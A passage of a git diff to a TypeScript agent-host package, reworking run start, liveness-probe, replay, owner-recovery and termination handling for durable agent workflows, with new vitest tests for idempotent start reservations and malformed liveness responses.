-            return envelopeFor(scope, ref, scope.principal, summary);
-          } else if (summary === null) {
-            try {
-              await recoverOwner(
-                scope.init.runtime,
+            const current = await options.stateStorage().get(recoveryKey);
+            if (current !== undefined) {
+              const latest = validateOwnerRecovery(
                 scope.threadId,
                 recoveryKey,
-                recovery,
-                true,
+                current,
               );
-            } catch (recoveryError) {
-              console.error('agent owner recovery failed', recoveryError);
-            }
-          } else {
-            try {
-              await withRecoveryLock(() =>
-                ensureOwnerRecoveryAlarm(options.stateStorage()),
+              if (!sameOwnerRecovery(latest, recovery))
+                throw new Error('agent owner recovery changed');
+              const summary = await recoverOwner(
+                scope,
+                recoveryKey,
+                latest,
+                execution,
+                error,
               );
-            } catch (alarmError) {
-              console.error('agent owner recovery rearm failed', alarmError);
+              if (summary)
+                return envelopeFor(scope, ref, scope.principal, summary);
             }
+          } catch (recoveryError) {
+            console.error('agent owner recovery failed', recoveryError);
+            await withRecoveryLock(() =>
+              ensureOwnerRecoveryAlarm(options.stateStorage()),
+            );
           }
           throw error;
         } finally {
@@ -1683,24 +2302,47 @@ export function createThreadAgentHost(
         ? preflightUrl.pathname.slice(AGENT_HOST_ROUTE_PREFIX.length)
         : '';
       const preflightSegments = preflightSuffix.split('/').filter(Boolean);
-      // The liveness probe, answered BEFORE withDispatchLock on purpose: the
-      // start it is asking about holds that lock for its whole first leg, so a
-      // probe that queued behind it would block for exactly as long as the run
-      // it was trying to describe — and time out reporting nothing.
-      //
-      // It reads no storage and reveals only whether this object is currently
-      // executing a run id the caller already had to know. Authorization is the
-      // deployment-identity header every request to this object carries: the
-      // probe travels the internal Worker-to-DO channel, and the reservation on
-      // the far side already proved the caller owns the key that names this run.
+      // The start holds the dispatch lock while its liveness probe must remain responsive.
       if (
         request.method === 'GET' &&
         preflightSegments.length === 4 &&
         preflightSegments[0] === 'runs' &&
         preflightSegments[3] === 'start-liveness'
       ) {
+        instanceScopeFor(scope);
+        const agentId = decode(preflightSegments[1]);
         const runId = decode(preflightSegments[2]);
-        return json({ live: runId !== undefined && startsInFlight.has(runId) });
+        return json({
+          live:
+            agentId !== undefined &&
+            runId !== undefined &&
+            (startsInFlight.has(runId) ||
+              executions.has(runId) ||
+              (runtime?.agents.get(agentId)?.isRunLive(runId) ??
+                globalRunRegistry.has(runId))),
+        });
+      }
+      if (
+        request.method === 'GET' &&
+        preflightSegments.length === 3 &&
+        preflightSegments[0] === 'runs' &&
+        preflightUrl.searchParams.get('replay') === '1'
+      ) {
+        const ref = runRef(scope, {
+          agentId: decode(preflightSegments[1]),
+          runId: decode(preflightSegments[2]),
+          threadId: scope.threadId,
+          resourceId: preflightUrl.searchParams.get('resourceId'),
+        });
+        const state = await selectedAgentState(scope, ref);
+        if (
+          state &&
+          (state.execution.owner.kind !== scope.principal.kind ||
+            state.execution.owner.id !== scope.principal.id)
+        )
+          throw new AgentHostRequestError(404, 'run not found');
+        if (state?.kind === 'initial')
+          return json({ kind: 'initial', execution: state.execution });
       }
       if (
         request.method === 'POST' &&
@@ -1724,11 +2366,17 @@ export function createThreadAgentHost(
         if (storedRun && storedRun.agentId !== ref.agentId) {
           throw new AgentHostRequestError(404, 'run not found');
         }
-        await snapshotExecutionFor(scope, ref);
+        await snapshotExecutionFor(
+          scope,
+          ref,
+          preflightUrl.searchParams.get('replay') === '1'
+            ? undefined
+            : await publicAgentState(scope, ref),
+        );
         const owner = await options.resourceAccess().owner('run', ref.runId);
         if (preflightUrl.searchParams.get('replay') !== '1') {
           await scope.init.runtime.cancelActiveExecution(
-            DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
+            await workflowIdFor(scope, ref.agentId),
             ref.runId,
             'cancelled',
             [scope.principal, owner ?? scope.principal],
@@ -1763,12 +2411,33 @@ export function createThreadAgentHost(
           url.pathname === `${AGENT_HOST_ROUTE_PREFIX}/start`
         ) {
           const body = await objectBody(request);
-          if ('resourceOwner' in body || 'requestedBy' in body) {
+          if (
+            'resourceOwner' in body ||
+            'requestedBy' in body ||
+            [
+              'mutationEpoch',
+              'startIdentity',
+              'agentStart',
+              'execution',
+              'tablePrefix',
+              'startToken',
+              'attemptToken',
+              'runOwnerGuard',
+              'onPreparedStartIdentity',
+            ].some((key) => Object.hasOwn(body, key))
+          ) {
             throw new AgentHostRequestError(
               400,
               'start owner and requester are derived from trusted provenance',
             );
           }
+          const startReservation =
+            body.startReservation === undefined
+              ? undefined
+              : captureReservation(
+                  body.startReservation as StartReservationReading,
+                  'started',
+                );
           const ref = runRef(scope, body);
           const requestedEntry = entryPath(body.entryPath);
           if (
@@ -1780,6 +2449,7 @@ export function createThreadAgentHost(
           return json(
             await host.start(scope, {
               ...ref,
+              startReservation,
               ...(typeof body.prompt === 'string'
                 ? { prompt: body.prompt }
                 : {}),
@@ -1830,7 +2500,7 @@ export function createThreadAgentHost(
           const body = await objectBody(request);
           const ref = runRef(scope, body);
           const snapshotExecution = await snapshotExecutionFor(scope, ref);
-          await statusFor(scope, ref, snapshotExecution.threaded);
+          await statusFor(scope, ref, snapshotExecution.state);
           const stored = await readRun(ref.runId);
           if (
             !stored ||
@@ -1894,15 +2564,8 @@ export function createThreadAgentHost(
             stored.principal,
             summary,
           );
-          if (isTerminalRunStatus(summary.status)) {
-            await deleteAgentRunRecord(options.stateStorage(), ref.runId);
-            const recovery = await options
-              .stateStorage()
-              .get<AgentOwnerRecovery>(ownerRecoveryKey(ref.runId));
-            if (recovery) {
-              await finalizeOwnerRecoveryBestEffort(recovery, summary);
-            }
-          }
+          if (isTerminalRunStatus(summary.status))
+            await finalizeTerminalAgentState(scope, ref, undefined, stored);
           return json(result);
         }
 
@@ -1923,23 +2586,43 @@ export function createThreadAgentHost(
         });
 
         if (segments.length === 3 && request.method === 'GET') {
+          if (url.searchParams.get('replay') === '1') {
+            const selected = await selectedAgentState(scope, ref);
+            if (!selected) return json({ error: 'run not found' }, 404);
+            if (
+              selected.execution.owner.kind !== scope.principal.kind ||
+              selected.execution.owner.id !== scope.principal.id
+            )
+              throw new AgentHostRequestError(404, 'run not found');
+            if (selected.kind === 'initial')
+              return json({ kind: 'initial', execution: selected.execution });
+            const stored = await readRun(ref.runId);
+            const value = await envelopeFor(
+              scope,
+              ref,
+              stored?.principal ?? scope.principal,
+              selected.summary,
+            );
+            return json({
+              kind: 'result',
+              execution: selected.execution,
+              value: publicAgentRunEnvelope(value, selected.execution, {
+                ...ref,
+                threadId: scope.threadId,
+              }),
+            });
+          }
           if (url.searchParams.get('dispatch') === '1') {
             const key = ownerRecoveryKey(ref.runId);
-            const pending = await options
-              .stateStorage()
-              .get<AgentOwnerRecovery>(key);
-            if (pending) {
-              await recoverOwner(
-                scope.init.runtime,
-                scope.threadId,
-                key,
-                pending,
-                true,
-              );
+            const pending = await options.stateStorage().get<unknown>(key);
+            if (pending !== undefined) {
+              await recoverOwner(scope, key, pending);
             }
             return json(await statusFor(scope, ref));
           }
-          return json(await statusFor(scope, ref));
+          return json(
+            await statusFor(scope, ref, await publicAgentState(scope, ref)),
+          );
         }
 
         if (
@@ -1953,13 +2636,17 @@ export function createThreadAgentHost(
           if (storedRun && storedRun.agentId !== ref.agentId) {
             throw new AgentHostRequestError(404, 'run not found');
           }
-          await snapshotExecutionFor(scope, ref);
+          await snapshotExecutionFor(
+            scope,
+            ref,
+            replayOnly ? undefined : await publicAgentState(scope, ref),
+          );
           const preflightOwner = await options
             .resourceAccess()
             .owner('run', ref.runId);
           if (!replayOnly && !preflightedTermination) {
             await runtime.cancelActiveExecution(
-              DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
+              await workflowIdFor(scope, ref.agentId),
               ref.runId,
               'cancelled',
               [scope.principal, preflightOwner ?? scope.principal],
@@ -1968,7 +2655,7 @@ export function createThreadAgentHost(
           const owner = await options.resourceAccess().owner('run', ref.runId);
           if (replayOnly) {
             const existing = await runtime.status(
-              DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
+              await workflowIdFor(scope, ref.agentId),
               ref.runId,
             );
             if (
@@ -1979,63 +2666,145 @@ export function createThreadAgentHost(
             }
           }
           const transition = await runtime.terminateAsPrincipal(
-            DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
+            await workflowIdFor(scope, ref.agentId),
             ref.runId,
             scope.principal,
             owner ?? scope.principal,
           );
-          let summary = transition.summary;
-          if (!transition.cleanup.cleanupCompleted) {
-            await abandonApprovalsForRun(
-              options.approvalService(scope),
-              DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
-              ref.runId,
-              transition.cleanup.status,
-              options.systemPrincipalId ?? 'flowsafe-system',
+          const selected = await selectedAgentState(scope, ref, {
+            includeLegacy: true,
+          });
+          if (!selected || selected.kind === 'initial')
+            throw new RunStartPendingError();
+          const journal = await options
+            .stateStorage()
+            .get(ownerRecoveryKey(ref.runId));
+          if (journal !== undefined) {
+            if (selected.kind === 'legacy')
+              throw new ExecutionFenceUnreadableError(
+                'legacy run cleanup is unresolved',
+              );
+            const recovery = validateOwnerRecovery(
+              scope.threadId,
+              ownerRecoveryKey(ref.runId),
+              journal,
+            );
+            const summary = await finalizeOwnerRecovery(
+              scope,
+              recovery,
+              selected,
+            );
+            return json(
+              await envelopeFor(
+                scope,
+                ref,
+                storedRun?.principal ?? scope.principal,
+                summary,
+              ),
             );
-            const dispatch = transition.cleanup.scheduleDispatch;
-            if (dispatch) {
-              if (!options.discardScheduleDispatch) {
-                throw new Error(
-                  'scheduled agent termination requires a dispatch-discard hook',
+          }
+          const legacy = selected.kind === 'legacy' ? selected : undefined;
+          const workflowId =
+            selected.kind === 'legacy'
+              ? selected.address.workflowId
+              : selected.execution.workflowId;
+          const cleanup = legacy
+            ? terminalCleanupFor(
+                lifecycleFromRequestContext(legacy.snapshot.requestContext),
+              )
+            : transition.cleanup;
+          if (
+            !cleanup ||
+            (legacy &&
+              (legacy.summary.status !== transition.summary.status ||
+                cleanup.revision !== transition.cleanup.revision ||
+                cleanup.status !== transition.cleanup.status ||
+                cleanup.scheduleDispatch?.scheduleId !==
+                  transition.cleanup.scheduleDispatch?.scheduleId ||
+                cleanup.scheduleDispatch?.dispatchId !==
+                  transition.cleanup.scheduleDispatch?.dispatchId ||
+                (transition.cleanup.cleanupCompleted &&
+                  !cleanup.cleanupCompleted)))
+          )
+            throw new ExecutionFenceUnreadableError(
+              'legacy run cleanup is unresolved',
+            );
+          const finish = async (): Promise<Response> => {
+            const guard = legacy
+              ? () => assertLegacyTerminalCurrent(scope, ref, legacy, storedRun)
+              : undefined;
+            if (guard) await guard();
+            if (selected.kind !== 'legacy')
+              await runtime.settleStartExecution(selected);
+            let summary = legacy?.summary ?? transition.summary;
+            if (!cleanup.cleanupCompleted) {
+              if (guard) await guard();
+              await abandonApprovalsForRun(
+                options.approvalService(scope),
+                workflowId,
+                ref.runId,
+                cleanup.status,
+                options.systemPrincipalId ?? 'flowsafe-system',
+              );
+              const dispatch = cleanup.scheduleDispatch;
+              if (dispatch) {
+                if (!options.discardScheduleDispatch) {
+                  throw new Error(
+                    'scheduled agent termination requires a dispatch-discard hook',
+                  );
+                }
+                if (guard) await guard();
+                await options.discardScheduleDispatch(
+                  dispatch.scheduleId,
+                  dispatch.dispatchId,
+                  ref.runId,
                 );
               }
-              await options.discardScheduleDispatch(
-                dispatch.scheduleId,
-                dispatch.dispatchId,
+              if (guard) await guard();
+              const released = await options
+                .resourceAccess()
+                .release('run', ref.runId, owner ?? scope.principal);
+              if (!released) {
+                const current = await options
+                  .resourceAccess()
+                  .owner('run', ref.runId);
+                if (current) {
+                  throw new Error(
+                    `run '${ref.runId}' ownership could not be released`,
+                  );
+                }
+              }
+              if (guard) await guard();
+              summary = await runtime.completeTerminalCleanup(
+                workflowId,
                 ref.runId,
+                cleanup.revision,
               );
             }
-            const released = await options
-              .resourceAccess()
-              .release('run', ref.runId, owner ?? scope.principal);
-            if (!released) {
-              const current = await options
-                .resourceAccess()
-                .owner('run', ref.runId);
-              if (current) {
-                throw new Error(
-                  `run '${ref.runId}' ownership could not be released`,
+            if (legacy) {
+              if (guard) await guard();
+              if (storedRun)
+                await finalizeTerminalRecord(
+                  scope,
+                  ref.runId,
+                  storedRun,
+                  legacy,
                 );
-              }
+            } else {
+              await finalizeTerminalAgentState(scope, ref, selected, storedRun);
             }
-          }
-          await finalizeTerminalAgentState(scope.threadId, ref.runId, summary);
-          if (!transition.cleanup.cleanupCompleted) {
-            summary = await runtime.completeTerminalCleanup(
-              DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
-              ref.runId,
-              transition.cleanup.revision,
+            return json(
+              await envelopeFor(
+                scope,
+                ref,
+                storedRun?.principal ?? scope.principal,
+                summary,
+              ),
             );
-          }
-          return json(
-            await envelopeFor(
-              scope,
-              ref,
-              storedRun?.principal ?? scope.principal,
-              summary,
-            ),
-          );
+          };
+          return legacy
+            ? withBindingLock(() => withRecoveryLock(finish))
+            : finish();
         }
 
         if (
@@ -2043,7 +2812,11 @@ export function createThreadAgentHost(
           segments[3] === 'stream' &&
           request.method === 'GET'
         ) {
-          const run = await statusFor(scope, ref);
+          const run = await statusFor(
+            scope,
+            ref,
+            await publicAgentState(scope, ref),
+          );
           const offset = Number(url.searchParams.get('offset') ?? '0');
           if (!Number.isSafeInteger(offset) || offset < 0) {
             throw new AgentHostRequestError(400, 'invalid stream offset');
diff --git a/packages/flowsafe/src/agent-host/thread-topology.test.ts b/packages/flowsafe/src/agent-host/thread-topology.test.ts
index 60044a8c..955f472a 100644
--- a/packages/flowsafe/src/agent-host/thread-topology.test.ts
+++ b/packages/flowsafe/src/agent-host/thread-topology.test.ts
@@ -1,9 +1,11 @@
 // SPDX-License-Identifier: Apache-2.0
 
-import { describe, expect, it } from 'vitest';
+import { describe, expect, it, vi } from 'vitest';
 import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
+import { AgentRunSelectorMismatchError } from '../agent-runner/durable-agent-runner.js';
 import type { ActorContext, ApprovalRecord } from '../approval-api/index.js';
 import {
+  doErrorResponse,
   type StartIdempotencyDatabase,
   StartIdempotencyStore,
 } from '../do-runner/index.js';
@@ -11,6 +13,7 @@ import type {
   ThreadNamespaceLike,
   ThreadRequestInit,
 } from '../host-kit/index.js';
+import { RunRouteError } from '../host-kit/run-route-error.js';
 
 import {
   type AgentThreadDispatchTopology,
@@ -407,7 +410,9 @@ describe('createAgentThreadTopology', () => {
  * own runs, answers the liveness probe from its own in-flight set, and answers
  * the dispatch status route only for runs it actually started.
  */
-function keyedHarness(options: { now?: () => number } = {}) {
+function keyedHarness(
+  options: { now?: () => number; liveness?: () => Promise<Response> } = {},
+) {
   const sqlite = openSqlite();
   const store = new StartIdempotencyStore(
     sqliteUnitDatabase(sqlite) as StartIdempotencyDatabase,
@@ -417,12 +422,15 @@ function keyedHarness(options: { now?: () => number } = {}) {
   const runsByThread = new Map<string, string>();
   const starts: Array<{ threadId: string; runId: string; key?: string }> = [];
   const inFlight = new Set<string>();
+  const hits: Hit[] = [];
   const namespace: ThreadNamespaceLike<string> = {
     idFromName: (name) => name,
     get: (threadId) => ({
       fetch: (async (request: Request | string, init?: ThreadRequestInit) => {
         const url = typeof request === 'string' ? request : request.url;
+        hits.push({ threadId, url, init });
         if (url.includes('/start-liveness')) {
+          if (options.liveness) return options.liveness();
           const runId = url.split('/runs/')[1]?.split('/')[1] ?? '';
           return Response.json({
             live: runsByThread.get(runId) === threadId && inFlight.has(runId),
@@ -461,21 +469,39 @@ function keyedHarness(options: { now?: () => number } = {}) {
         if (runsByThread.get(runId) !== threadId || inFlight.has(runId)) {
           return Response.json({ error: 'run not found' }, { status: 404 });
         }
-        return Response.json({
+        const value = {
           agentId: 'writer',
           threadId,
           resourceId: `acme_resource_${threadId}`,
           runId,
           summary: { runId, status: 'success' },
-        });
+        };
+        return Response.json(
+          url.includes('replay=1')
+            ? {
+                kind: 'result',
+                value,
+                execution: {
+                  tablePrefix: '',
+                  workflowId: 'durable-agentic-loop',
+                  runId,
+                  startToken: 'test-generation',
+                  owner: { kind: 'human', id: 'operator-1' },
+                  target: { kind: 'agent', id: 'writer', threadId },
+                },
+              }
+            : value,
+        );
       }) as ReturnType<ThreadNamespaceLike<string>['get']>['fetch'],
     }),
   };
   return {
+    sqlite,
     store,
     starts,
     runsByThread,
     inFlight,
+    hits,
     topology: createAgentThreadTopology(namespace, DEPLOYMENT_IDENTITY_SECRET, {
       startIdempotency: store,
       executionFence: 'none',
@@ -483,6 +509,260 @@ function keyedHarness(options: { now?: () => number } = {}) {
   };
 }
 
+function cDeferred() {
+  let resolve = () => {};
+  const promise = new Promise<void>((done) => {
+    resolve = done;
+  });
+  return { promise, resolve };
+}
+
+describe('C agent topology capture', () => {
+  it.each([
+    'persisted',
+    'live',
+    'unclaimed',
+  ] as const)('C topology keeps captured authority and methods on the winning reservation: %s', async (state) => {
+    const fixture = keyedHarness();
+    const scoped = context();
+    Object.assign(scoped.value, { mutationEpoch: 2 });
+    const principal = scoped.value.principal;
+    const resourceIdFromKey = scoped.value.resourceIdFromKey;
+    Object.defineProperty(scoped.value, 'resourceIdFromKey', {
+      configurable: true,
+      writable: true,
+      enumerable: false,
+      value: function (this: ActorContext, key: string) {
+        expect(this).toBe(scoped.value);
+        return resourceIdFromKey(key);
+      },
+    });
+    await fixture.store.reserve({
+      key: 'original-key',
+      owner: { kind: principal.kind, id: principal.id },
+      targetKind: 'agent',
+      targetId: 'writer',
+      threadId: 'winner-thread',
+      mintRunId: () => 'winner-run',
+    });
+    if (state !== 'unclaimed') {
+      const unclaimedReservation =
+        await fixture.store.readForAdmission('original-key');
+      if (!unclaimedReservation) throw new Error('missing reservation');
+      await fixture.store.claimReservation(unclaimedReservation);
+      fixture.runsByThread.set('winner-run', 'winner-thread');
+    }
+    if (state === 'live') fixture.inFlight.add('winner-run');
+    const entered = cDeferred();
+    const release = cDeferred();
+    const reserve = fixture.store.reserve.bind(fixture.store);
+    vi.spyOn(fixture.store, 'reserve').mockImplementationOnce(
+      async (...args) => {
+        entered.resolve();
+        await release.promise;
+        return reserve(...args);
+      },
+    );
+    const input: Parameters<AgentThreadDispatchTopology['start']>[1] = {
+      agentId: 'writer',
+      prompt: 'original',
+      entryPath: 'http.start',
+      threaded: false,
+      topologyThreadId: 'candidate-thread',
+      runId: 'candidate-run',
+      idempotencyKey: 'original-key',
+    };
+    const replacement = vi.fn(() => 'replacement-resource');
+    const pending = fixture.topology.start(scoped.value, input);
+    const outcome = pending.then(
+      (value) => ({ value }),
+      (error: unknown) => ({ error }),
+    );
+    try {
+      expect(
+        await Promise.race([
+          entered.promise.then(() => true),
+          outcome.then(() => false),
+        ]),
+      ).toBe(true);
+      Object.assign(scoped.value, {
+        principal: { kind: 'human', id: 'replacement', role: 'admin' },
+        mutationEpoch: 3,
+        resourceIdFromKey: replacement,
+      });
+      Object.assign(input, {
+        agentId: 'replacement-agent',
+        runId: 'replacement-run',
+        topologyThreadId: 'replacement-thread',
+        idempotencyKey: 'replacement-key',
+      });
+    } finally {
+      release.resolve();
+      await outcome;
+    }
+    const result = await outcome;
+    if (state === 'live')
+      expect(result).toMatchObject({
+        error: {
+          status: 503,
+          reason: { code: 'IDEMPOTENT_START_PENDING', runId: 'winner-run' },
+        },
+      });
+    else
+      expect(result).toMatchObject({
+        value: {
+          agentId: 'writer',
+          threadId: 'winner-thread',
+          runId: 'winner-run',
+        },
+      });
+    expect(fixture.hits.length).toBeGreaterThan(0);
+    for (const hit of fixture.hits) {
+      expect(hit.threadId).toBe('winner-thread');
+      expect(hit.init?.headers).toMatchObject({
+        'x-flowsafe-mutation-epoch': '2',
+        'x-flowsafe-principal': JSON.stringify(principal),
+      });
+      expect(hit.url).not.toContain('replacement-agent');
+    }
+    expect(fixture.starts).toEqual(
+      state === 'unclaimed'
+        ? [
+            {
+              threadId: 'winner-thread',
+              runId: 'winner-run',
+              key: 'original-key',
+            },
+          ]
+        : [],
+    );
+    expect(scoped.runMints()).toBe(0);
+    expect(replacement).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    ['access', false],
+    ['access', true],
+    ['F3', false],
+    ['F3', true],
+  ] as const)('C topology captures absent and supplied run IDs before F3: %s supplied=%s', async (boundary, supplied) => {
+    const fixture = keyedHarness();
+    const scoped = context();
+    Object.assign(scoped.value, { mutationEpoch: 2 });
+    const principal = scoped.value.principal;
+    const entered = cDeferred();
+    const release = cDeferred();
+    vi.spyOn(scoped.value, 'canAccessResource').mockImplementationOnce(
+      async () => {
+        if (boundary === 'access') {
+          entered.resolve();
+          await release.promise;
+        }
+        return true;
+      },
+    );
+    const reserve = fixture.store.reserve.bind(fixture.store);
+    const reserved = vi
+      .spyOn(fixture.store, 'reserve')
+      .mockImplementationOnce(async (...args) => {
+        if (boundary === 'F3') {
+          entered.resolve();
+          await release.promise;
+        }
+        return reserve(...args);
+      });
+    let runId = supplied ? 'original-run' : undefined;
+    const readRunId = vi.fn(() => runId);
+    const input: Parameters<AgentThreadDispatchTopology['start']>[1] = {
+      agentId: 'writer',
+      entryPath: 'schedule.fire',
+      scheduleId: 'original-schedule',
+      dispatchId: 'original-dispatch',
+      threadId: 'acme_original',
+      resourceId: 'acme_resource_acme_original',
+      topologyThreadId: 'acme_original',
+      idempotencyKey: 'original-key',
+      threaded: true,
+      prompt: 'original',
+      get runId() {
+        return readRunId();
+      },
+    };
+    const replacementMint = vi.fn(() => 'replacement-run');
+    const replacementResource = vi.fn(() => 'replacement-resource');
+    const pending = fixture.topology.start(scoped.value, input);
+    const outcome = pending.then(
+      () => false,
+      () => false,
+    );
+    try {
+      expect(
+        await Promise.race([entered.promise.then(() => true), outcome]),
+      ).toBe(true);
+      expect(readRunId).toHaveBeenCalledTimes(1);
+      expect(scoped.runMints()).toBe(0);
+      runId = 'replacement-run';
+      Object.assign(input, {
+        agentId: 'replacement-agent',
+        entryPath: 'signal.wake',
+        scheduleId: 'replacement-schedule',
+        dispatchId: 'replacement-dispatch',
+        threadId: 'replacement-thread',
+        resourceId: 'replacement-resource',
+        topologyThreadId: 'replacement-topology',
+        idempotencyKey: 'replacement-key',
+        threaded: false,
+        prompt: 'replacement',
+      });
+      Object.assign(scoped.value, {
+        principal: { kind: 'human', id: 'replacement', role: 'admin' },
+        mutationEpoch: 3,
+        newRunId: replacementMint,
+        resourceIdFromKey: replacementResource,
+      });
+    } finally {
+      release.resolve();
+      await outcome;
+    }
+    const expectedRun = supplied ? 'original-run' : 'acme_run_1';
+    expect(await pending).toMatchObject({
+      agentId: 'writer',
+      runId: expectedRun,
+      threadId: 'acme_original',
+    });
+    expect(fixture.starts).toEqual([
+      { threadId: 'acme_original', runId: expectedRun, key: 'original-key' },
+    ]);
+    expect(reserved.mock.calls[0]?.[0]).toMatchObject({
+      owner: { kind: principal.kind, id: principal.id },
+      targetId: 'writer',
+      threadId: 'acme_original',
+      key: 'original-key',
+    });
+    const sent = fixture.hits.find((hit) => hit.url.endsWith('/start'));
+    expect(sent?.init?.headers).toMatchObject({
+      'x-flowsafe-mutation-epoch': '2',
+      'x-flowsafe-principal': JSON.stringify(principal),
+    });
+    expect(JSON.parse(sent?.init?.body ?? '{}')).toMatchObject({
+      agentId: 'writer',
+      entryPath: 'schedule.fire',
+      threaded: true,
+      runId: expectedRun,
+      threadId: 'acme_original',
+      resourceId: 'acme_resource_acme_original',
+      idempotencyKey: 'original-key',
+      scheduleId: 'original-schedule',
+      dispatchId: 'original-dispatch',
+      prompt: 'original',
+    });
+    expect(readRunId).toHaveBeenCalledTimes(1);
+    expect(scoped.runMints()).toBe(supplied ? 0 : 1);
+    expect(replacementMint).not.toHaveBeenCalled();
+    expect(replacementResource).not.toHaveBeenCalled();
+  });
+});
+
 describe('createAgentThreadTopology — idempotent start', () => {
   it('refuses a key when the topology wired no reservation store', async () => {
     // #given the typed opt-out
@@ -673,7 +953,9 @@ describe('createAgentThreadTopology — idempotent start', () => {
       threadId: 'acme_thread_live',
       mintRunId: () => 'acme_run_live',
     });
-    await store.claim('key-1', 'acme_run_live');
+    const unclaimedReservation = await store.readForAdmission('key-1');
+    if (!unclaimedReservation) throw new Error('missing reservation');
+    await store.claimReservation(unclaimedReservation);
     runsByThread.set('acme_run_live', 'acme_thread_live');
     inFlight.add('acme_run_live');
 
@@ -706,7 +988,9 @@ describe('createAgentThreadTopology — idempotent start', () => {
       threadId: 'acme_thread_dead',
       mintRunId: () => 'acme_run_dead',
     });
-    await store.claim('key-1', 'acme_run_dead');
+    const unclaimedReservation = await store.readForAdmission('key-1');
+    if (!unclaimedReservation) throw new Error('missing reservation');
+    await store.claimReservation(unclaimedReservation);
 
     // #when / #then never re-executed: whether the agent's first tool call
     // already fired is unknowable from here.
@@ -734,8 +1018,25 @@ describe('createAgentThreadTopology — idempotent start', () => {
       threadId: 'acme_thread_gone',
       mintRunId: () => 'acme_run_gone',
     });
-    await store.claim('key-1', 'acme_run_gone');
-    await store.settleRun('acme_run_gone');
+    const unclaimedReservation = await store.readForAdmission('key-1');
+    if (!unclaimedReservation) throw new Error('missing reservation');
+    await store.claimReservation(unclaimedReservation);
+    const terminalExecution = {
+      tablePrefix: '',
+      workflowId: 'durable-agentic-loop',
+      runId: 'acme_run_gone',
+      startToken: 'settled-generation',
+      owner: { kind: 'human' as const, id: 'operator-1' },
+      target: {
+        kind: 'agent' as const,
+        id: 'writer',
+        threadId: 'acme_thread_gone',
+      },
+    };
+    const startedReservation = await store.readForAdmission('key-1');
+    if (!startedReservation) throw new Error('missing started reservation');
+    await store.bindPreparedStart(startedReservation, terminalExecution);
+    await store.settleExecution(terminalExecution);
 
     // #when / #then
     await expect(
@@ -751,7 +1052,7 @@ describe('createAgentThreadTopology — idempotent start', () => {
     });
   });
 
-  it('gives the claim back when the thread object reports the fence closed', async () => {
+  it('retains the claim when the thread object reports the fence closed', async () => {
     // #given a thread object refusing the start with the fence's own code —
     // rebuilt from a DO response, so no longer an ExecutionFencedError instance
     const sqlite = openSqlite();
@@ -799,11 +1100,9 @@ describe('createAgentThreadTopology — idempotent start', () => {
       })
       .catch((error: unknown) => error);
 
-    // #then the fence's refusal reached the caller AND the claim went back, so
-    // a retry after the operator reopens converges on the same run instead of
-    // finding a key poisoned by a drain.
+    // A protected HTTP refusal is not a local no-admission witness.
+    expect((await store.read('key-1'))?.state).toBe('started');
     expect(refusal).toMatchObject({ reason: { code: 'EXECUTION_FENCED' } });
-    expect((await store.read('key-1'))?.state).toBe('reserved');
   });
 
   it('leaves an unkeyed start byte-identical to before the reservation existed', async () => {
@@ -824,3 +1123,421 @@ describe('createAgentThreadTopology — idempotent start', () => {
     expect(await store.read('key-1')).toBeUndefined();
   });
 });
+
+describe('FS8 D3 agent reclaim liveness transport', () => {
+  async function retry(
+    liveness: () => Promise<Response>,
+    state: 'reserved' | 'started' = 'reserved',
+  ) {
+    const h = keyedHarness({ now: () => 1_000, liveness });
+    const { reservation } = await h.store.reserve({
+      key: 'retained-key',
+      owner: { kind: 'human', id: 'operator-1' },
+      targetKind: 'agent',
+      targetId: 'writer',
+      threadId: 'retained-thread',
+      mintRunId: () => 'retained-run',
+    });
+    if (state === 'started') await h.store.claimReservation(reservation);
+    const before = h.sqlite
+      .prepare('SELECT * FROM flowsafe_start_idempotency')
+      .all();
+    const claim = vi.spyOn(h.store, 'claimReservation');
+    const outcome = await h.topology
+      .start(context().value, {
+        agentId: 'writer',
+        prompt: 'retry',
+        entryPath: 'http.start',
+        idempotencyKey: 'retained-key',
+      })
+      .catch((error: unknown) => error);
+    const after = h.sqlite
+      .prepare('SELECT * FROM flowsafe_start_idempotency')
+      .all();
+    return { ...h, claim, before, after, outcome };
+  }
+
+  it.each([
+    true,
+    false,
+  ])('uses an explicit boolean %s from the recorded host', async (live) => {
+    const h = await retry(async () => Response.json({ live }));
+    const probe = h.hits.find((hit) => hit.url.endsWith('/start-liveness'));
+    expect(probe).toMatchObject({
+      threadId: 'retained-thread',
+      url: expect.stringContaining('/runs/writer/retained-run/start-liveness'),
+    });
+    if (live) {
+      expect(h.outcome).toMatchObject({
+        reason: { code: 'IDEMPOTENT_START_PENDING' },
+      });
+      expect(h.claim).not.toHaveBeenCalled();
+      expect(h.after).toEqual(h.before);
+      expect(h.starts).toEqual([]);
+    } else {
+      expect(h.outcome).toMatchObject({
+        runId: 'retained-run',
+        threadId: 'retained-thread',
+      });
+      expect(h.claim).toHaveBeenCalledOnce();
+      expect(h.after[0]).toMatchObject({ state: 'started', updated_at: 1_001 });
+      expect(h.starts).toEqual([
+        {
+          threadId: 'retained-thread',
+          runId: 'retained-run',
+          key: 'retained-key',
+        },
+      ]);
+    }
+  });
+
+  const malformed: Array<[string, unknown]> = [
+    ['missing', {}],
+    ['null', null],
+    ['primitive', false],
+    ['array', Object.assign([], { live: false })],
+    ['inherited', Object.create({ live: false })],
+    ['undefined', { live: undefined }],
+    ['null field', { live: null }],
+    ['zero', { live: 0 }],
+    ['empty string', { live: '' }],
+    ['false string', { live: 'false' }],
+    ['true string', { live: 'true' }],
+  ];
+  it.each(
+    malformed.flatMap(([name, payload]) =>
+      (['reserved', 'started'] as const).map((state) => ({
+        name,
+        payload,
+        state,
+      })),
+    ),
+  )('refuses $name liveness for a $state row without claiming', async ({
+    payload,
+    state,
+  }) => {
+    const h = await retry(async () => {
+      const response = Response.json({});
+      vi.spyOn(response, 'json').mockResolvedValue(payload);
+      return response;
+    }, state);
+    expect(h.outcome).toBeInstanceOf(RunRouteError);
+    expect(h.outcome).toMatchObject({
+      status: 503,
+      message: 'run start liveness is not readable',
+    });
+    expect(h.claim).not.toHaveBeenCalled();
+    expect(h.after).toEqual(h.before);
+    expect(h.starts).toEqual([]);
+  });
+
+  it.each([
+    201, 400, 404, 503,
